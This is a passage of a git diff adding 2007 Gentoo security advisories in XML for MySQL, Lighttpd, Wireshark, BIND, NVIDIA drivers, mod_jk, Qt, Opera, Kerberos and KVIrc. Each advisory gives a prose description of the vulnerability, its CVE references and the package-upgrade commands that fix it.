+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-2.0.0.6&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-2.0.0.6&quot;</code>
+    <p>
+    All SeaMonkey users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-1.1.4&quot;</code>
+    <p>
+    All SeaMonkey binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/seamonkey-bin-1.1.4&quot;</code>
+    <p>
+    All XULRunner users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/xulrunner-1.8.1.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3089">CVE-2007-3089</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3656">CVE-2007-3656</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3734">CVE-2007-3734</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3735">CVE-2007-3735</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3736">CVE-2007-3736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3737">CVE-2007-3737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3738">CVE-2007-3738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3844">CVE-2007-3844</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 05 Aug 2007 10:45:13 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 05 Aug 2007 10:48:05 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Aug 2007 16:40:39 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-10.xml b/xml/htdocs/security/en/glsa/glsa-200708-10.xml
new file mode 100644
index 00000000..a871ecd5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-10.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-10">
+  <title>MySQL: Denial of Service and information leakage</title>
+  <synopsis>
+    A Denial of Service vulnerability and a table structure information leakage
+    vulnerability were found in MySQL.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>August 16, 2007</announced>
+  <revised>August 16, 2007: 01</revised>
+  <bug>185333</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.44</unaffected>
+      <vulnerable range="lt">5.0.44</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dormando reported a vulnerability within the handling of password
+    packets in the connection protocol (CVE-2007-3780). Andrei Elkin also
+    found that the "CREATE TABLE LIKE" command didn't require SELECT
+    privileges on the source table (CVE-2007-3781).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker could use the first vulnerability to
+    make the server crash. The second vulnerability can be used by
+    authenticated users to obtain information on tables they are not
+    normally able to access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-5.0.44&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3780">CVE-2007-3780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3781">CVE-2007-3781</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 29 Jul 2007 22:18:26 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Aug 2007 20:12:02 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Aug 2007 20:13:00 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-11.xml b/xml/htdocs/security/en/glsa/glsa-200708-11.xml
new file mode 100644
index 00000000..35826347
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-11.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-11">
+  <title>Lighttpd: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities were reported in Lighttpd, most of them allowing a
+    Denial of Service and potentially the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>August 16, 2007</announced>
+  <revised>August 16, 2007: 01</revised>
+  <bug>185442</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.16</unaffected>
+      <vulnerable range="lt">1.4.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Lighttpd is a lightweight HTTP web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered errors with evidence of memory corruption in
+    the code parsing the headers. Several independent researchers also
+    reported errors involving the handling of HTTP headers, the mod_auth
+    and mod_scgi modules, and the limitation of active connections.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can trigger any of these vulnerabilities by sending
+    malicious data to the server, which may lead to a crash or memory
+    exhaustion, and potentially the execution of arbitrary code.
+    Additionally, access-deny settings can be evaded by appending a final /
+    to a URL.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.16&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3946">CVE-2007-3946</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3947">CVE-2007-3947</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3948">CVE-2007-3948</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3949">CVE-2007-3949</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3950">CVE-2007-3950</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 17 Jul 2007 18:07:17 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Aug 2007 21:28:06 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Aug 2007 05:43:43 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-12.xml b/xml/htdocs/security/en/glsa/glsa-200708-12.xml
new file mode 100644
index 00000000..6bbd1f5a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-12.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-12">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Wireshark, allowing for
+    the remote execution of arbitrary code and a Denial of Service.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>August 16, 2007</announced>
+  <revised>August 16, 2007: 01</revised>
+  <bug>183520</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">0.99.6</unaffected>
+      <vulnerable range="lt">0.99.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a network protocol analyzer with a graphical front-end.
+    </p>
+  </background>
+  <description>
+    <p>
+    Wireshark doesn't properly handle chunked encoding in HTTP responses
+    (CVE-2007-3389), iSeries capture files (CVE-2007-3390), certain types
+    of DCP ETSI packets (CVE-2007-3391), and SSL or MMS packets
+    (CVE-2007-3392). An off-by-one error has been discovered in the
+    DHCP/BOOTP dissector when handling DHCP-over-DOCSIS packets
+    (CVE-2007-3393).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted packets on a network
+    being monitored with Wireshark, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running Wireshark which
+    might be the root user, or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    In order to prevent root compromise, take network captures with tcpdump
+    and analyze them running Wireshark as a least privileged user.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-0.99.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3389">CVE-2007-3389</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3390">CVE-2007-3390</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3391">CVE-2007-3391</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3392">CVE-2007-3392</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3393">CVE-2007-3393</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 24 Jul 2007 10:55:17 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Jul 2007 05:32:32 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Aug 2007 20:22:11 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-13.xml b/xml/htdocs/security/en/glsa/glsa-200708-13.xml
new file mode 100644
index 00000000..1d36d1ef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-13.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-13">
+  <title>BIND: Weak random number generation</title>
+  <synopsis>
+    The ISC BIND random number generator uses a weak algorithm, making it
+    easier to guess the next query ID and perform a DNS cache poisoning attack.
+  </synopsis>
+  <product type="ebuild">bind</product>
+  <announced>August 18, 2007</announced>
+  <revised>August 18, 2007: 01</revised>
+  <bug>186556</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/bind" auto="yes" arch="*">
+      <unaffected range="ge">9.4.1_p1</unaffected>
+      <vulnerable range="lt">9.4.1_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC BIND is the Internet Systems Consortium implementation of the
+    Domain Name System (DNS) protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Amit Klein from Trusteer reported that the random number generator of
+    ISC BIND leads, half the time, to predictable (1 chance to 8) query IDs
+    in the resolver routine or in zone transfer queries (CVE-2007-2926).
+    Additionally, the default configuration file has been strengthen with
+    respect to the allow-recursion{} and the allow-query{} options
+    (CVE-2007-2925).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can use this weakness by sending queries for a domain
+    he handles to a resolver (directly to a recursive server, or through
+    another process like an email processing) and then observing the
+    resulting IDs of the iterative queries. The attacker will half the time
+    be able to guess the next query ID, then perform cache poisoning by
+    answering with those guessed IDs, while spoofing the UDP source address
+    of the reply. Furthermore, with empty allow-recursion{} and
+    allow-query{} options, the default configuration allowed anybody to
+    make recursive queries and query the cache.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for the random generator
+    weakness. The allow-recursion{} and allow-query{} options should be set
+    to trusted hosts only in /etc/bind/named.conf, thus preventing several
+    security risks.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ISC BIND users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-dns/bind-9.4.1_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925">CVE-2007-2925</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2926">CVE-2007-2926</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 05 Aug 2007 10:40:49 +0000">
+    aetius
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 13 Aug 2007 23:06:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Aug 2007 23:00:40 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-14.xml b/xml/htdocs/security/en/glsa/glsa-200708-14.xml
new file mode 100644
index 00000000..be60801a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-14.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-14">
+  <title>NVIDIA drivers: Denial of Service</title>
+  <synopsis>
+    A vulnerability has been discovered in the NVIDIA graphic drivers, allowing
+    for a Denial of Service.
+  </synopsis>
+  <product type="ebuild">nvidia-drivers</product>
+  <announced>August 19, 2007</announced>
+  <revised>October 11, 2007: 03</revised>
+  <bug>183567</bug>
+  <access>local</access>
+  <affected>
+    <package name="x11-drivers/nvidia-drivers" auto="yes" arch="*">
+      <unaffected range="ge">71.86.01</unaffected>
+      <unaffected range="rge">1.0.7185</unaffected>
+      <unaffected range="rge">1.0.9639</unaffected>
+      <vulnerable range="eq">100.14.06</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The NVIDIA drivers provide support for NVIDIA graphic boards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gregory Shikhman discovered that the default Gentoo setup of NVIDIA
+    drivers creates the /dev/nvidia* with insecure file permissions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could send arbitrary values into the devices, possibly
+    resulting in hardware damage on the graphic board or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NVIDIA drivers users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;x11-drivers/nvidia-drivers&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3532">CVE-2007-3532</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 28 Jul 2007 07:38:56 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 28 Jul 2007 07:39:35 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Aug 2007 20:41:51 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-15.xml b/xml/htdocs/security/en/glsa/glsa-200708-15.xml
new file mode 100644
index 00000000..d7fad8e1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-15.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-15">
+  <title>Apache mod_jk: Directory traversal</title>
+  <synopsis>
+    A directory traversal vulnerability has been discovered in Apache mod_jk.
+  </synopsis>
+  <product type="ebuild">mod_jk</product>
+  <announced>August 19, 2007</announced>
+  <revised>August 19, 2007: 01</revised>
+  <bug>186218</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/mod_jk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.23</unaffected>
+      <vulnerable range="lt">1.2.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Apache mod_jk is a connector for the Tomcat web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Apache mod_jk decodes the URL within Apache before passing them to
+    Tomcat, which decodes them a second time.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could browse a specially crafted URL on an Apache
+    server running mod_jk, possibly gaining access to restricted resources.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache mod_jk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/mod_jk-1.2.23&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1860">CVE-2007-1860</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 29 Jul 2007 22:06:43 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 29 Jul 2007 22:08:30 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Aug 2007 21:01:34 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-16.xml b/xml/htdocs/security/en/glsa/glsa-200708-16.xml
new file mode 100644
index 00000000..cf79ae3c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-16">
+  <title>Qt: Multiple format string vulnerabilities</title>
+  <synopsis>
+    Format string vulnerabilities in Qt 3 may lead to the remote execution of
+    arbitrary code in some Qt applications.
+  </synopsis>
+  <product type="ebuild">qt</product>
+  <announced>August 22, 2007</announced>
+  <revised>August 22, 2007: 01</revised>
+  <bug>185446</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">3.3.8-r3</unaffected>
+      <vulnerable range="lt">3.3.8-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI framework, which is used e.g. by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tim Brown of Portcullis Computer Security Ltd and Dirk Mueller of KDE
+    reported multiple format string errors in qWarning() calls in files
+    qtextedit.cpp, qdatatable.cpp, qsqldatabase.cpp, qsqlindex.cpp,
+    qsqlrecord.cpp, qglobal.cpp, and qsvgdevice.cpp.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could trigger one of the vulnerabilities by causing a Qt
+    application to parse specially crafted text, which may lead to the
+    execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt 3 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=x11-libs/qt-3*&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3388">CVE-2007-3388</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Aug 2007 17:25:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Aug 2007 17:25:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 19 Aug 2007 22:38:33 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200708-17.xml b/xml/htdocs/security/en/glsa/glsa-200708-17.xml
new file mode 100644
index 00000000..1ddd1b56
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200708-17.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200708-17">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Opera contain several vulnerabilities, some of which may allow the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>August 22, 2007</announced>
+  <revised>August 22, 2007: 01</revised>
+  <bug>185497</bug>
+  <bug>188987</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.23</unaffected>
+      <vulnerable range="lt">9.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    An error known as "a virtual function call on an invalid pointer" has
+    been discovered in the JavaScript engine (CVE-2007-4367). Furthermore,
+    iDefense Labs reported that an already-freed pointer may be still used
+    under unspecified circumstances in the BitTorrent support
+    (CVE-2007-3929). At last, minor other errors have been discovered,
+    relative to memory read protection (Opera Advisory 861) and URI
+    displays (CVE-2007-3142, CVE-2007-3819).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could trigger the BitTorrent vulnerability by
+    enticing a user into starting a malicious BitTorrent download, and
+    execute arbitrary code through unspecified vectors. Additionally, a
+    specially crafted JavaScript may trigger the "virtual function"
+    vulnerability. The JavaScript engine can also access previously freed
+    but uncleaned memory. Finally, a user can be fooled with a too long
+    HTTP server name that does not fit the dialog box, or a URI containing
+    whitespaces.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all these
+    vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.23&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3142">CVE-2007-3142</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3819">CVE-2007-3819</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3929">CVE-2007-3929</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4367">CVE-2007-4367</uri>
+    <uri link="http://www.opera.com/support/search/view/861/">Opera Advisory 861</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 29 Jul 2007 20:48:46 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 29 Jul 2007 20:48:57 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Aug 2007 09:59:22 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-01.xml b/xml/htdocs/security/en/glsa/glsa-200709-01.xml
new file mode 100644
index 00000000..a667068b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-01.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-01">
+  <title>MIT Kerberos 5: Multiple vulnerabilities</title>
+  <synopsis>
+    Two vulnerabilites have been found in MIT Kerberos 5, which could allow a
+    remote unauthenticated user to execute arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">mit-krb5</product>
+  <announced>September 11, 2007</announced>
+  <revised>September 11, 2007: 01</revised>
+  <bug>191301</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/mit-krb5" auto="yes" arch="*">
+      <unaffected range="ge">1.5.3-r1</unaffected>
+      <vulnerable range="lt">1.5.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MIT Kerberos 5 is a suite of applications that implement the Kerberos
+    network protocol. kadmind is the MIT Kerberos 5 administration daemon.
+    </p>
+  </background>
+  <description>
+    <p>
+    A stack buffer overflow (CVE-2007-3999) has been reported in
+    svcauth_gss_validate() of the RPC library of kadmind. Another
+    vulnerability (CVE-2007-4000) has been found in
+    kadm5_modify_policy_internal(), which does not check the return values
+    of krb5_db_get_policy() correctly.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The RPC related vulnerability can be exploited by a remote
+    unauthenticated attacker to execute arbitrary code with root privileges
+    on the host running kadmind. The second vulnerability requires the
+    remote attacker to be authenticated and to have "modify policy"
+    privileges. It could then also allow for the remote execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MIT Kerberos 5 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/mit-krb5-1.5.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3999">CVE-2007-3999</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4000">CVE-2007-4000</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Sep 2007 22:29:04 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Sep 2007 19:22:20 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Sep 2007 18:34:17 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-02.xml b/xml/htdocs/security/en/glsa/glsa-200709-02.xml
new file mode 100644
index 00000000..40824244
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-02.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-02">
+  <title>KVIrc: Remote arbitrary code execution</title>
+  <synopsis>
+    A vulnerability has been discovered in KVIrc, allowing for the remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kvirc</product>
+  <announced>September 13, 2007</announced>
+  <revised>September 13, 2007: 01</revised>
+  <bug>183174</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/kvirc" auto="yes" arch="*">
+      <unaffected range="ge">3.2.6_pre20070714</unaffected>
+      <vulnerable range="lt">3.2.6_pre20070714</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KVIrc is a free portable IRC client based on Qt.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Cornelius from Secunia Research discovered that the
+    "parseIrcUrl()" function in file src/kvirc/kernel/kvi_ircurl.cpp does
+    not properly sanitise parts of the URI when building the command for
+    KVIrc's internal script system.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    irc:// URI, possibly leading to the remote execution of arbitrary code
+    with the privileges of the user running KVIrc. Successful exploitation
+    requires that KVIrc is registered as the default handler for irc:// or
+    similar URIs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All KVIrc users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
